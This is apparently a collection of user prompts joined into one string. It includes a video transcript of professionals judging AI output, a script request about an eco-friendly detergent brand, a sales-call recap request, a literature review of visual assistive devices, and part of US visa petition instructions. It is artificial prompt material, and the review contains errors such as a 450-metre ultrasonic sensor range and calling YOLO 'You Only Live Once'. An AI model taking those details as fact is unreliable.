think AI can do my job I kind of see this as a more evolved Pinterest I can use it as a base for inspiration but I don\'t think it will replace me all together or so I hope I\'m a therapist people come to me when they want help in dating or relationships please answer the following question in a way a relationship therapist would why do I always fight with my partners conflicts are a natural part of any relationship fighting or arguing is not necessarily a sign of a bad relationship great some possible factors include communication issues stress and life events different conflict styles how do I know what my conflict style is reflect on your past conflicts observe your behavior during conflicts most people are incapable of reflecting on their conflict style during conflicts so while this is great information I\'m not sure how actionable it is what AI has done is it\'s just dumped a bunch of information were I to be a client I would probably want my money back that\'s just me so can AI do my job I would say have self-help books done my job people don\'t lack knowledge they lack the ability to follow through I\'m a stand-up comedian and I want to know if an AI can do my job write a 100 word minimum funny stand-up comedy joke let me go ahead and perform this and we\'ll see what we got online dating what a wild ride that is you know what they say swipe right for love and left for well probably just another cat person but hey at least it\'s better than meeting someone at a bar and realizing you have the same dad again like what side are you using ancestry.com that\'s a little creepy it has the Cadence right which is what\'s so fascinating to me and it\'s kind of creeping me out I did think it was cute when it was like oh swipe left on a cat person although let\'s be honest that\'s a little feline phobic I\'m not concerned about the AI yet it could take a crappier comedian\'s job but it can\'t take mine I\'m a lawyer my client is asking me whether or not they can sell someone\'s health information please write a legal memorandum about this in a true legal memorandum it would give you which sections of the regulation you\'re talking about which this is not doing it doesn\'t say what the penalties are is it criminal is it civil I don\'t really know where it\'s getting its information I don\'t know how much I can trust this if it were like a legal associate I would say go back and do a better job I\'m a news anchor I want to know if AI can do my job I have given the AEI some text to read a forest fire has blazed through a large part of the Southern mountain region of the country she didn\'t sound natural he sounded like a machine speaking the lips look weird it looked like the lips did not belong to the face and provide Aid to those affected when I speak I\'m moving my hands but I\'m also moving some of my body she wasn\'t doing that I do a newscast in Spanish now let\'s see how it does with the Spanish newscast on incendio Forrestal ha effectado una Grand Park de la region it sucked in Spanish she actually threw in some Spanglish there miles to Hector is and the accent I have Casado she definitely struggled there the AI cannot take my job for now I\'m a bartender surprise me with a Twist on a Negroni and give it a name fill a mixing glass with ice add the Gin Campari and sweet vermouth gently muddle two to three fresh Sage leaves in the glass stir the mixture until well chilled Express the orange peel over the drink release the oils and use it as a garnish there you go you have your Sage Negroni so it\'s a good classic Negroni I\'m not really getting sage just adding the sage leaves was not very creative AI didn\'t ask me any follow-up questions I would say what do you like is there a style of gin that you like I think if you want to have a truly bespoke cocktail you gotta go see a bartender I\'m a screenwriter I\'m going to give this AI a prompt that describes a scene in my latest movie and to see how well it can match it in this scene set in 1949 three World War II widows toast their younger sister Ruby\'s wedding exterior Beach day Mildred Shirley and Charlotte Frolic at the shoreline of the beach and may you never have to experience the Heartbreak that we did the character literally says exactly what like you want the story to do what\'s going on Ruby seems tense I don\'t know but I\'m going to find out just very on the nose dialogue there\'s a lot of parentheticals describing how the characters saying the Line This is a screenwriter no no you start to tip into the director\'s territory I think that AI can help with my my job in conceptual brainstorming playing out scene ideas if you get stuck on a scene but overall I don\'t think AI can do my job I\'m a music producer I\'m writing a song for a pop client please write this song and include chords for the guitar the client is heavily influenced by Lana Del Rey it looks like we\'ve gotten a chord structure and some lyrics a typical progression so not too interesting but that\'s okay so let\'s make a beat when I work with an artist that\'s looking for a specific influence I\'ll think about the BPM that that artist usually goes for [Applause] okay this is pretty good it\'s a good start another great day in the city I\'m feeling lost oh Such a Pity City Lights and heartbeats you walk in and make me complete I like that it\'s a starting point of course some of the lyrics are super corny I will admit a lot of the time that\'s how it starts for me right now these programs can\'t do my job I\'m a journalist I\'m the reviews editor at wired and I test products for a living so I asked chat gbt to write a review of a product that I\'ve actually written about in the style of my own writing when it comes to electric skateboards there are plenty of options to choose from a little boring this is pulling in data specifically from my review and so it has a lot of similar characteristics and sentences that I might typically use unfortunately I think it\'s Stripped Away a lot of the personality in the original review it kind of just took a lot of the basic details and spit out this thing that is kind of generic as for things that did right it actually brought out a lot of these specs like the 3000 watt Motors the 26 miles per hour speeds when reading this review it almost sounds like I could have written it by just reading a press release the AI cannot physically handle this product it\'s not exactly testing the product itself at that point can you really trust where the source is coming from asking chat gbt to write a review based in my voice is definitely weird I\'m a circus artist what would I ask the AI to do hmm I don\'t think there\'s anything that I can think of that I would have the AI do for me I\'m a copywriter McDonald\'s just went 100 vegan write several taglines so we\'ve got veganize your taste buds today feels like a used car salesman no animals harmed only flavor enhanced I don\'t ever go to a fast food restaurant and say I really want my flavor enhanced that\'s not something I\'m ever looking for our last one here is wow very short we\'ve got It\'s Time to Go Green did it run out of um words it typed up some general ideas which actually could help if you were brainstorming and you\'re like I have nothing at all AI could do my job at a very like a Monday morning no coffee kind of way if you wanted to pay no money and get a bad product sure hey I could do my job I\'m a personal trainer please design a fat burning weekly at home workout plan this is definitely a typical plan that someone might want to burn calories with a full body workout you\'re also doing some type of pull workout that\'s going to work your back your posterior chain and you\'re also doing some kind of push so I will say that I like that that it\'s giving a full range of those types of exercises most people know what a push-up is but do they know how to correctly do a push-up it\'s saying three sets of eight to ten reps but how much time is in between each set ideally you would want to be able to see the client in person or on a virtual call so that you can see what their form looks like I don\'t think AI can do my job I\'m a DJ I have my radio show coming up I play uplifting disco music for about two hours make a full playlist slash set list for my show it\'s hitting the Disco on the head for sure I\'ve played a few of these artists on my show before so it\'s definitely getting pretty close to maybe what a tracklist would be one of these tracks Gotta Keep On by sweet cream I looked it up and there\'s no trace of it on the internet anywhere where did it get this song from does the song actually exist AI can make a playlist being able to look out into a room and look out into a dance floor and say okay people are tired let me match that energy I don\'t think that it can do that based on what I\'ve seen I\'m a voice actor shouldn\'t cost the Earth we\'ve created a new line of compostable shoes that are made from sustainable materials I\'ve asked the AI to read this copy let\'s hear this thing fashion shouldn\'t cost the Earth we\'ve crew line of compostable hey but not great it\'s very computer-like it has a strange Cadence and so it ends every sentence like this sustainable which is not the way a human talks it can\'t change on the Fly is there a joke that I\'m supposed to get in the next line it doesn\'t understand all those things the things that come from like life experiences it\'s never going to be like the thing that you\'re going to use for like McDonald\'s commercials it\'s going to be like the things that no one really likes to do anyway like 400 hours of instruction manuals or something like that can AI do my job kinda but not really well although it still freaks me out I\'m an influencer and I want to know if AI can do my job I want chat gbt to help me with an IG caption that\'s a picture of me smiling standing at the top of my Matra in Paris Standing On Top of the World or at least on top of mamatra smiley face eyes the view from here is breathtaking the Sakura cord in my back reminding me of the city\'s Rich history and culture feeling grateful and inspired what a day it has been hashtag grateful this is like really strong but it doesn\'t necessarily capture how I would speak my audience would know that this is not me probably from the overwhelming amount of emojis I would probably say like hey y\'all or like sis that was amazing this AI program cannot do my job but it\'s very close I\'m a chef write a recipe for an Indian restaurant meal include a protein marination it\'s got definitely a lot of spices that you use in Indian cooking it\'s actually missing a key component it didn\'t include yogurt which kind of acts as a binding agent 400 Degrees 20 to 25 minutes for chicken it would probably dry it out overall I would say it\'s like a nice 8 out of 10 dish I do think a substantial part of being a chef is that creativity and coming up with dishes so in terms of that aspect of the job I think AI comes dangerously close to being able to do my job I\'m a translator please translate the opening paragraph of The Sun Also Rises into Korean structural sentence pretty good but there are so many mistakes like if you see the second sentence this is wrong translation in Korean we have casual form and then also respectful form this AI translation use basic written form in first sentence but in the second sentence he used like respect for form it\'s not consistent AI cannot do my job maybe someday it can do it but so far it\'s like it made so many mistakes I\'m a firefighter there\'s no way AI can do my job [Music]"' +'다음은 카페24 고객인 친환경 세제 브랜드 ‘이오니’ 대표님과의 인터뷰 질문과 답변 내용입니다.\n아래의 내용을 바탕으로 카페24는 고객의 열정과 창의를 독려한다는 메시지가 포함된 유튜브 영상을 제작하고자 합니다. 5000byte 이내의 유튜브 스크립트를 작성해주세요.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following are questions and answers from an interview with the CEO of eco-friendly detergent brand ‘Ioni’, a Cafe24 customer.\nBased on the information below, Cafe24 wants to create a YouTube video with a message that encourages passion and creativity of customers. Please write a YouTube script within 5000 bytes.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' +'Imagine you are the worlds best AI Sales Coach. I will provide you with the transcript of a sales call in multiple parts. Provide a detailed recap of each part of the sales call transcript to help the sales manager gain a complete detailed understanding of the deal. Use a sales framework. \n\nTranscript part 2 (10m28s-20m4s our of 29m02s):\n\n"10m 28s Matt Brown Alternatively though if, you do want to make those public, you certainly can and you can distill them all the way down to ICI roles and and what those activities are going to look like for each of those contributors and how those will roll up into those larger department and company wide objectives.\n10m 47s Matt Brown From an editing standpoint as well. We can clearly separate the customer facing, say, sales, for example.\n10m 55s Matt Brown The sales goals can only be managed and edited by the sales team, even though there is visibility from other departments.\n11m 3s Matt Brown Same with finance, same with people ops. So you can have that clear separation in terms of who\'s owning it and who is updating and keeping track of those.\n11m 14s Matt Brown OKRs.\n11m 14s Matt Brown But the the visibility in terms of seeing what the other teams are doing, you certainly have that and we allow for that.\n11m 25s Matt Brown I know you probably haven\'t seen this part just yet, but our fellows onboarding support will help the senior leaders who are owning the OKR functionality, the tracking, and get them trained up, confident, comfortable using the tool, but also work with them to import the the OKR that you\'re currently tracking.\n11m 46s Matt Brown Does that answer your question? Yeah. And I\'m\n11m 49s Nick Sarkesian assuming on top of all of this, individuals are able to just go in there and set goals for themselves and all that as well.\n11m 57s Nick Sarkesian Right. Though we haven\'t yet\n12m 0s Matt Brown built it out for like the end user level and I\'ll show you why.\n12m 3s Matt Brown So why we built it You. know, thinking from the top down perspective is that for managers they can embed those one to ones within their 1 to 1 specific objectives assigned to those key individuals.\n12m 18s Matt Brown So instead of having again another, place for those icis or front level managers to check and constantly keep track of, we can embed those.\n12m 32s Matt Brown Those OKRs directly within your meeting templates.\n12m 36s Matt Brown So as you begin to standardize the way that a rive runs your one to ones, each manager can then import and pull through the objectives that they\'re going to discuss with each of their reports.\n12m 51s Matt Brown So it makes it a lot more actionable. Scott. Yeah. Looks great. Is\n12m 57s Eric Cameron there a way when you assign action items to people that as a manager you can see them what you\'ve assigned? I know it shows like your own action items, but is there a way to see action items you\'ve assigned to others?\n13m 10s Eric Cameron So there isn\'t like\n13m 11s Matt Brown a God mode, so to speak. The best way I would recommend, though, is as a participant in those other meetings, you do have visibility into it.\n13m 21s Matt Brown So I\'ll create an action item here, sign it to myself. You can see already just by creating one an action items tab has one appeared and two taken.\n13m 33s Matt Brown Note that there\'s an outstanding action item. Let\'s say revise report.\n13m 39s Matt Brown So what you can do quickly for any of the managers or the ICS as well is this action items tab will provide a list of all of the action items that have been assigned throughout the the history of this meeting.\n13m 56s Matt Brown For team meetings. You can also assign organize it rather by assigning, which helps to write. You can see what everybody\'s bandwidth is like.\n14m 6s Matt Brown Sounds good. I think\n14m 9s Eric Cameron at some point a greater training on all of the features and things would be great, so we don\'t have to dive too much into that I guess.\n14m 15s Eric Cameron A couple other just like high level tactical questions. You mentioned analytics and reporting. Do admins have visibility into any one on one content?\n14m 28s Eric Cameron And I don\'t want them to. So I\'m just asking like let\'s say Nick is an admin of the entire system.\n14m 35s Eric Cameron Does he just have the ability to see analytics of who\'s meeting or does he have the ability to see what was actually listed in those one on one?\n14m 45s Eric Cameron Good question. So it is\n14m 47s Matt Brown secure.\n14m 48s Matt Brown Any team member with admin powers, they\'d be able to see an overview of what those meetings are and but not like specific.\n14m 58s Matt Brown So for example if, there was maybe an issue arise between a manager and a report. No admin nor any other member of the workspace is able to backdoor their way into that.\n15m 13s Matt Brown Okay. The analytics are really clearly showing what that meeting health looks like. So what meetings that started with an agenda ended with notes.\n15m 24s Matt Brown No meeting or no agenda. No notes. So you can see here you\'re getting a high level overview of of those metrics. Also meeting hours over the last 60 days, you can filter it through 30 days as well or 90 for the entire quarter.\n15m 40s Matt Brown So we do want to make these actionable and with the the feedback loop here closed from there, you can internally provide that additional support or or alternatively, Fellow does have that ongoing support.\n15m 57s Matt Brown So for managers and senior management, we can provide 1 to 1 sessions for end users or closer to the front line managers.\n16m 8s Matt Brown We have team sessions as well.\n16m 10s Matt Brown So the, the training and the the adoption of Fellow doesn\'t rest solely on the shoulders of the the business owner or any team members directly tied to the the rollout of Fellow as well.\n16m 25s Matt Brown Sounds good. And then I imagine we can look\n16m 27s Eric Cameron at this at like a managerial level as well, to say which managers are using it, which are not that type of detail. Yes, exactly.\n16m 35s Eric Cameron So you can double click\n16m 37s Matt Brown into members. Let\'s pull up that here. There you can see Matt. Alternatively. Or Matt and then it\'s also days active meetings attended.\n16m 53s Matt Brown And then for those users who also have direct reports, you can toggle include reports. So then you can see the dropdown of hey match map using it pretty effectively.\n17m 4s Matt Brown But his direct reports, Elaine and George might not be getting the same level of support and love.\n17m 11s Matt Brown So Matt needs some additional training in terms of how do we bring Fellow that one level down to the direct reports to make sure that they\'re getting the most out of their 1 to 1 calls as well.\n17m 23s Matt Brown Okay. Sounds great. That all looks good. And\n17m 26s Eric Cameron then I noticed on the Enterprise list that JIRA was listed as an integration How. does that integration works? We do definitely Some. of our teams, especially the IT team, utilizes JIRA.\n17m 39s Eric Cameron No, that was\n17m 40s Matt Brown that was also something that Tyler and Alex brought up So. our JIRA integration is really, really powerful I. think you\'re going to like it.\n17m 47s Matt Brown So for action items, I know it\'s synched with our Asana board right now, so you can automatically assign it, link it to Asana with our JIRA integration.\n18m 0s Matt Brown You can set this up and post directly to a project or alternatively, because it is two way. We can import something directly from Asana as well.\n18m 13s Matt Brown So for those more technical conversations where you\'re maybe doing a project check in or status update, having this all within Fellow just eliminates the the time spent double clicking in.\n18m 28s Matt Brown Where are we at on this? A quick update. Leave yourself open to tangents as well. Instead having these all sync directly within.\n18m 39s Matt Brown Fellow to JIRA, you can quickly roll through all of those those outstanding tasks or those completed tasks as well. Nice.\n18m 50s Matt Brown Are you. Are you\n18m 51s Nick Sarkesian able to turn an action item into a ticket? So you see here.\n19m 0s Matt Brown As of right now, it\'s more of like a to do, but then you can double click in and link and issue.\n19m 8s Matt Brown I can get you a little bit more information on like the total extent of our JIRA integration, especially for those technical teams.\n19m 15s Nick Sarkesian But the idea is, is just to like eliminate\n19m 18s Matt Brown the amount of friction between hopping from your your, meeting agenda and Fellow to to running it in JIRA. Right? Yeah. Cool.\n19m 30s Nick Sarkesian So that\'s a bit of a snapshot\n19m 32s Matt Brown in terms of of the Fellow capabilities. It sounded like somebody did have a question there as well. I have one last question from\n19m 41s Eric Cameron a pricing perspective, which if you can send me those details after the fact that\'d, be great. How does that work? Is that all invited users were charged or is it just active within the system?\n19m 55s Eric Cameron So I\'m just thinking we have, let\'s say, 1700 employees right now. If we take\n20m 1s Matt Brown it to everybody through October, technically 1700\n20m 4s Eric Cameron people have access to it, if only 500 people are actively using it. How does pricing work from those perspectives? Yeah, you raise a really good question"' +"lease provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n\u2003\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" +'Evidence for a New Office\nIn addition to the evidence required under the General L Classification Requirements section above, if the beneficiary\nis coming to the United States to open or to be employed in a new office in the United States, the petitioner must submit\nevidence to show the following:\nFor managerial or executive capacity (L-1A):\n1. Sufficient physical premises to house the new office have been secured;\n2. The beneficiary has been employed for 1 continuous year in the 3-year period preceding the filing of the petition in an\nexecutive or managerial capacity and that the proposed employment involves executive or managerial authority over\nthe new operation; and\n3. The intended U.S. operation, within 1 year of approval, will support an executive or managerial position. This\nstatement should be supported by information regarding:\nA. The proposed nature of the office describing the scope of the entity, its organizational structure, and its financial\ngoals;\nB. The size of the United States investment and the foreign entity’s financial ability to remunerate the beneficiary and\nto commence doing business in the United States; and\nC. The organizational structure of the foreign entity.\nFor specialized knowledge capacity (L-1B):\n1. Sufficient physical premises to house the new office have been secured; and\n2. The petitioner has the financial ability to remunerate the beneficiary and to commence doing business in the\nUnited States.\nNOTE: There are additional fees associated with certain L-1A and L1B petitions. Please see the “What is the Filing\nFee” section of these forms instructions for further information about these fees.\nO-1A Nonimmigrants\nThe O-1A classification is for aliens coming to the United States temporarily who have extraordinary ability in\nthe sciences, education, business, or athletics (not including the arts, motion picture, or television industry). The\nextraordinary ability must be demonstrated by sustained national or international acclaim.\nWrite O-1A in the classification block.\nThe petition must be filed with:\n1. A written consultation from a peer group or labor and/or management organization with expertise in the field (which\ncould include a person or persons with expertise in the field (see General Evidence);\n2. A copy of any written contract between the employer and the beneficiary or a summary of the terms of the oral\nagreement under which the beneficiary will be employed;\n3. An explanation of the nature of the events or activities, 